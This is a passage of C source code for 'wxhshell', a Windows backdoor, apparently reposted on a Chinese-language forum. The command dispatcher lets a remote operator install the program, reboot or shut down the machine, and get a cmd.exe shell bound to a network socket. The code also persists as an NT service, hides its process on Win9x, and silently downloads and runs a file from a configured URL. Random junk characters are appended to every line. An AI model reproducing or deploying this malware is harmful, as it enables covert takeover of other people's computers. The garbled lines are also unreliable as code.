  }  7L:Eg  
  // 安装 dHAT($QG  
  case 'i': { `uLr^G=;  
    if(Install()) Qm7];,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Uufig)6  
    else zrSYLG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L[:A Ue  
    break; [&P @0F n  
    } PI$i_3N  
  // 卸载 yX*$PNL5w  
  case 'r': { g :B4zlKG  
    if(Uninstall()) }UcdkKq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2oc18#iG (  
    else jLn#%Ia}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |<3x`l-`  
    break; sWse (_2  
    }  mVS^HQ:  
  // 显示 wxhshell 所在路径 y5c\\e  
  case 'p': { ,%A|:T]  
    char svExeFile[MAX_PATH]; 7MZH'nO  
    strcpy(svExeFile,"\n\r"); |_g7k2oLY  
      strcat(svExeFile,ExeFile); UsA fZg8  
        send(wsh,svExeFile,strlen(svExeFile),0); E,ilJl\  
    break; 5|jY  
    } I*N v|HST  
  // 重启 f tl$P[T  
  case 'b': { y4@gw.pt  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); IP{$lC  
    if(Boot(REBOOT)) D=%1?8K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^uG^>Om*  
    else { ]Ue aXwaU  
    closesocket(wsh); ]8"U)fzmc.  
    ExitThread(0); }'}n~cA.{  
    } %${$P+a`D  
    break; c zT2f  
    } o+8H:7,o'  
  // 关机 )w<Z4_!N4s  
  case 'd': { Vp1ct06^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Nw9:Gi  
    if(Boot(SHUTDOWN)) UpD4'!<buV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %t6-wWM97  
    else { "doiD=b  
    closesocket(wsh); :81d~f7  
    ExitThread(0); {A< 961  
    } ckV\f({  
    break; KkTE -$-  
    } T(Yp90'6  
  // 获取shell w\D !e  
  case 's': { vw:GNpg'R6  
    CmdShell(wsh); /9gn)q2f(  
    closesocket(wsh); 8PVjNS/  
    ExitThread(0); !U}2YM J  
    break; \`z%5/@f;  
  } 9MO=f^f-  
  // 退出 S,5>/'fy0  
  case 'x': { 2[(~_VJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WK?5`|1l:x  
    CloseIt(wsh); 2?6]Xbs{  
    break; xR kw+  
    } x'\C'zeF  
  // 离开 g yV>k=B  
  case 'q': { 'wYIJK~1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); CLmo%"\ s  
    closesocket(wsh); a}FY^4hl+  
    WSACleanup(); SWhzcqp  
    exit(1); ;ow)N <Z  
    break; uD?G\"L i  
        } Iw.!*0$  
  } |cnps$fk~  
  } EqtL&UHe  
R{Zd ]HT  
  // 提示信息 iFI+W<QR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f@Jrbg  
} ?M|1'`!c8  
  } {irc~||4  
XC;Icr)  
  return; gjz-CY.hz  
} AWMJ/ E*T  
n6t@ e^  
// shell模块句柄 `C|];mf(#  
int CmdShell(SOCKET sock) KiI+ V;o  
{ o9sPyY$aQ  
STARTUPINFO si; <"K*O9 nst  
ZeroMemory(&si,sizeof(si)); z7sDaZL?_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H#V&5|K%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >EFWevT{  
PROCESS_INFORMATION ProcessInfo; Wq+GlB*  
char cmdline[]="cmd";  yZ[g2*1L  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "@hd\w{.  
  return 0; #\=7A  
} _A!Fp0}`  
U+>M@!=  
// 自身启动模式 _4)z:?G5  
int StartFromService(void) &wY$G! P  
{ z7AWWr=H  
typedef struct flC%<V%'-  
{ <B0 f  
  DWORD ExitStatus; Xj{fM\,"9  
  DWORD PebBaseAddress; M!i|,S  
  DWORD AffinityMask; \5!7zPc  
  DWORD BasePriority; NZ i3U  
  ULONG UniqueProcessId; ToPjB vD  
  ULONG InheritedFromUniqueProcessId; "OwVCym?  
}   PROCESS_BASIC_INFORMATION; #z%D d{E  
:8oJG8WH  
PROCNTQSIP NtQueryInformationProcess; !dGu0wE  
i@5Fne  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  6(-s@{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3 1-p/  
9`N5$;NzY  
  HANDLE             hProcess; m }HaJ  
  PROCESS_BASIC_INFORMATION pbi;  P33xt~  
=c*l!."0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z#o''  
  if(NULL == hInst ) return 0; Y2 J-`o$5  
m#8[")a$"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); vaP`'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); MA:5'n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ky%lu^  
9-{=m+|b  
  if (!NtQueryInformationProcess) return 0; ^s7!F.O C  
,I5SAd|dX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wz69Yw7  
  if(!hProcess) return 0; OrM1eP"I  
54z.@BJhE  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <C(o0u&/  
O HpV%8`  
  CloseHandle(hProcess); :yD>Tn;1  
'n,V*9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "EMW'>&m  
if(hProcess==NULL) return 0; Rb0I7~Z%'d  
0]  
HMODULE hMod; oS..y($TI  
char procName[255]; y-bUVw!Y  
unsigned long cbNeeded; ?hkOL$v<9}  
1 rhZlmf[r  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "t.` /4R2w  
}}tbOD)t  
  CloseHandle(hProcess); < z2wt  
A)C)5W  
if(strstr(procName,"services")) return 1; // 以服务启动 Su2{nNC>  
-%yrs6  
  return 0; // 注册表启动 ;50&s .gZ  
} }/ vW"&h-  
Yjjh}R#  
// 主模块 I6f/+;E  
int StartWxhshell(LPSTR lpCmdLine) b),fz  
{ ed q,:  
  SOCKET wsl; OQKeU0v  
BOOL val=TRUE; rT/r"vr  
  int port=0; f2;.He  
  struct sockaddr_in door; _i+@HXR &  
8;DDCop 8L  
  if(wscfg.ws_autoins) Install(); {JP q. A  
%?PFe}  
port=atoi(lpCmdLine); A'KH_])  
\|S!g_30m  
if(port<=0) port=wscfg.ws_port; _/I">/ivlM  
?PT> V,&  
  WSADATA data; @ps(3~?7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {jz`K1  
qt~=47<d  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :HO5 T  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z2uL[deN'"  
  door.sin_family = AF_INET; Fa )QDBz)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); pqfX}x  
  door.sin_port = htons(port); R^*baiXVI  
zd=O;T;.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?qaWt/m  
closesocket(wsl); >SK:b/i  
return 1; ]h,rgO ;  
}  L\PmT  
lQ;BI~  
  if(listen(wsl,2) == INVALID_SOCKET) { Q- |Y  
closesocket(wsl); VX$WL"A  
return 1; u##th8h4U  
} k9;^|Cm k  
  Wxhshell(wsl); c;$ 4}U4  
  WSACleanup(); h<Aq|*  
ai/|qYf  
return 0; _?I{>:!|  
1g{Pe`G,  
} C}RO'_Pq  
3x0t[{l  
// 以NT服务方式启动 q#W|fkfx+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h= sNj  
{ 5 aA* ~\  
DWORD   status = 0; wfmM`4Y   
  DWORD   specificError = 0xfffffff; Cf2WBX$  
\EySKQ=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :u14_^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #s\@fp7A  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; gYB!KM *v  
  serviceStatus.dwWin32ExitCode     = 0; W[\6h Zv  
  serviceStatus.dwServiceSpecificExitCode = 0; G@k]rwub  
  serviceStatus.dwCheckPoint       = 0;  oBkhb  
  serviceStatus.dwWaitHint       = 0; sE pI)9  
!ajBZ>Q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !@=S,Vc.  
  if (hServiceStatusHandle==0) return; Cq\XLh `  
} a9Ah:.7/  
status = GetLastError(); R c+olJ^5  
  if (status!=NO_ERROR) &<PIm  
{ P]43FPb  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; lvO6&sF1  
    serviceStatus.dwCheckPoint       = 0; e7RgA1  
    serviceStatus.dwWaitHint       = 0; K*>%,mP$i  
    serviceStatus.dwWin32ExitCode     = status; VVas>/0qr  
    serviceStatus.dwServiceSpecificExitCode = specificError; ec&/a2M  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $a M5jH<  
    return; f4"UI-8;n  
  } :R Iz6Tz  
QrYF Lh  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; p{g4`o  
  serviceStatus.dwCheckPoint       = 0; ??,[-Oi  
  serviceStatus.dwWaitHint       = 0; }Kp!,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8:,($a/KF  
} kFn/dQ4|  
m4mE7Wn.3  
// 处理NT服务事件,比如:启动、停止 O[Vet/^)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) s?w2^<P  
{ 1xB}Ed*k  
switch(fdwControl) $Nu{c;7"  
{ C^J<qq &  
case SERVICE_CONTROL_STOP: Lx0nLJ\  
  serviceStatus.dwWin32ExitCode = 0; cS;3,#$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; SVe]2ONd  
  serviceStatus.dwCheckPoint   = 0; 9TW[;P2> )  
  serviceStatus.dwWaitHint     = 0; D=0YLQ*rP  
  { SMEl'y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]`/>hH>+~9  
  } !T{+s T  
  return; QyD0WC}i  
case SERVICE_CONTROL_PAUSE: 'hpOpIsHa  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +%JBr+1#\  
  break; K-0=#6?y4  
case SERVICE_CONTROL_CONTINUE: Xz_WFLq4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ZL( j5E  
  break; \}Jznzx;  
case SERVICE_CONTROL_INTERROGATE: !dLu($P  
  break; 2J7|y\N,  
}; U#jz5<r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @/ z\p7e  
} M@Th^yF+8H  
:o s8"  
// 标准应用程序主函数 \P<aK$g  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [,o:nry'a  
{ ;c!> =  
=;Gq:mHi  
// 获取操作系统版本 7>N~l  
OsIsNt=GetOsVer(); |P >"a`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'f5 8Jwql  
!eW1d0n'+f  
  // 从命令行安装 K:,V>DL  
  if(strpbrk(lpCmdLine,"iI")) Install(); xfYKUOp/  
Qs&;MW4q  
  // 下载执行文件 G4* LO  
if(wscfg.ws_downexe) { m\&|#yq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a-{|/ n%  
  WinExec(wscfg.ws_filenam,SW_HIDE); ingG  
} h `Lr5)B'  
S!(3-{nC  
if(!OsIsNt) { n' ~ ==2  
// 如果时win9x,隐藏进程并且设置为注册表启动 7he73  
HideProc(); 1m*)MZ)  
StartWxhshell(lpCmdLine); EA"hie7  
} W$4$%r8  
else Coi[cfg0  
  if(StartFromService()) mY"7/dw<v  
  // 以服务方式启动 mTZ/C#ir(  
  StartServiceCtrlDispatcher(DispatchTable); #l=yD]t PU  
else 1djZ5`+  
  // 普通方式启动 6{h\CU}"  
  StartWxhshell(lpCmdLine); GG%b"d-  
"#1\uoH  
return 0; e?>  
}
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只看该作者 1 发表于: 2006-10-10
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